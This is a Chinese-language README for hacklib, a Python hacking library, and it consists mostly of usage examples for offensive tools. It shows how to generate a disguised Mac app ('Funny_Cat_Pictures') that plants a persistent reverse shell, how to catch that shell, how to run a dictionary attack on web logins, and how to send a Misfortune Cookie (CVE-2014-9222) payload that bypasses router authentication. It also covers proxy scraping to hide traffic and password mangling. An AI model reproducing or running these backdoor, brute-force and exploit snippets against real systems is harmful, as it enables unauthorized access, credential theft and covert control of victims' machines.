hacklib 是一个供对网络安全感兴趣的黑客爱好者使用的 Python 模块。它已不再活跃开发。
要获取 hacklib,只需在命令行运行:
pip install hacklib
hacklib 还带有一个用户界面。要使用它,你可以执行以下操作之一:
下载 hacklib.py 并在控制台运行:
python hacklib.py
----------------------------------------------
嗨。我能为您做什么?
请输入对应您选择的数字。
1) 连接到代理
2) 指定目标 IP 或 URL
3) 局域网扫描
4) 创建后门
5) 服务器
6) 退出
或者如果你通过 pip 安装:
import hacklib
hacklib.userInterface()
反向 shell 后门(目前仅适用于 Mac):
import hacklib
bd = hacklib.Backdoor()
# 生成一个应用,运行后会在系统中植入持久性反向 shell。
bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')
# 参数分别为命令服务器的IP和端口、目标操作系统、.app 文件的名称。
生成的应用:
使用服务器监听连接:
>>> import hacklib
>>> s = hacklib.Server(9090) # 将服务器绑定到端口 9090
>>> s.listen()
新连接 ('127.0.0.1', 50011) # 目标运行了该应用(每 60 秒重试连接)
bash: 此 shell 中没有作业控制
bash$ whoami # 输入命令
leon
bash$ # 不错!
通用登录客户端,适用于几乎所有基于表单的 HTTP/HTTPS 登录和 HTTP 基本认证登录:
import hacklib
ac = hacklib.AuthClient()
# 登录 gmail 账户
htmldata = ac.login('https://gmail.com', 'email', 'password')
# 在返回页面中检查特定字符串
if 'Inbox' in htmldata: print '登录成功.'
else: print '登录失败.'
# 对于使用 HTTP 基本认证的登录:
try:
htmldata = ac.login('http://somewebsite.com', 'admin', 'password')
except: pass #登录失败
使用 AuthClient 进行简单字典攻击:
import hacklib
ac = hacklib.AuthClient()
# 获取最常见的 100 个密码
passwords = hacklib.topPasswords(100)
for p in passwords:
htmldata = ac.login('http://yourwebsite.com/login', 'admin', p)
if htmldata and 'welcome' in htmldata.lower():
print '密码是', p
break
端口扫描:
from hacklib import *
ps = PortScanner()
ps.scan(getIP('yourwebsite.com'))
# 默认扫描前 1024 个端口。使用 ps.scan(IP, port_range=(n1, n2), timeout=i) 更改默认设置
# 扫描后,打开的端口保存在 ps 中供参考
if ps.portOpen(80):
# 建立 TCP 流并发送消息
send(getIP('yourwebsite.com'), 80, message='GET / HTTP/1.0\r\n\r\n')
使用 PortScanner 进行 Misfortune Cookie 利用(CVE-2014-9222):
>>> import hacklib
# 发现
>>> ps = hacklib.PortScanner()
>>> ps.scan('192.168.1.1', (80, 81))
端口 80:
HTTP/1.1 200
Content-Type: text/html
Transfer-Encoding: chunked
Server: RomPager/4.07 UPnP/1.0
EXT:
# 端口 80 的横幅显示服务器使用 RomPager 4.07。该版本是可利用的。
# 利用
>>> payload = '''GET / HTTP/1.0\r\n
Host: 192.168.1.1
User-Agent: googlebot
Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8
Accept-Language: en-US, en; q=0.5
Accept-Encoding: gzip, deflate
Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB\x00''' + '\r\n\r\n'
>>> hacklib.send('192.168.1.1', 80, payload)
# 该 cookie 用空字节替换了固件中用于 Web 认证的内存分配。
# 现在可以通过任何 Web 浏览器完全访问路由器的管理页面。
FTP 认证:
import hacklib
ftp = hacklib.FTPAuth('127.0.0.1', 21)
try:
ftp.login('username', 'password')
except:
print '登录失败.'
Socks4/5 代理抓取和隧道
>>> import hacklib
>>> import urllib2
>>> proxylist = hacklib.getProxies() # 从互联网上抓取最近添加的 socks 代理
>>> proxy = hacklib.Proxy()
>>> proxy.connect(proxylist) # 自动查找并连接到 proxylist 中一个可用的代理
>>> proxy.IP
u'41.203.214.58'
>>> proxy.port
65000
>>> proxy.country
u'KE'
# 所有模块的 Python 网络活动都将通过该代理路由:
>>> urllib2.urlopen('http://icanhazip.com/').read()
'41.203.214.58\n'
# 注意:只有通过 Python 的网络活动会被代理隐藏。
# 其他程序(如 Web 浏览器)的网络活动不会被隐藏。
# 要按国家和类型过滤代理:
# proxylist = hacklib.getProxies(country_filter = ('RU', 'CA', 'SE'), proxy_type='Socks5')
单词变形:
from hacklib import *
word = Mangle("Test", 0, 10, 1990, 2016)
word.Leet()
word.Numbers()
word.Years()
输出:
T3$t
Test0
0Test
...snip...
Test10
10Test
Test1990
1990Test
...snip...
Test2016
2016Test
模式创建:
from hacklib import *
Pattern = PatternCreate(100)
Pattern.generate()
输出:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
模式偏移:
from hacklib import *
Offset = PatternOffset("6Ab7")
Offset.find()
输出:
[+] Offset: 50
并非所有类都有外部依赖,但以防万一,你可以执行以下操作:
hacklib.installDependencies()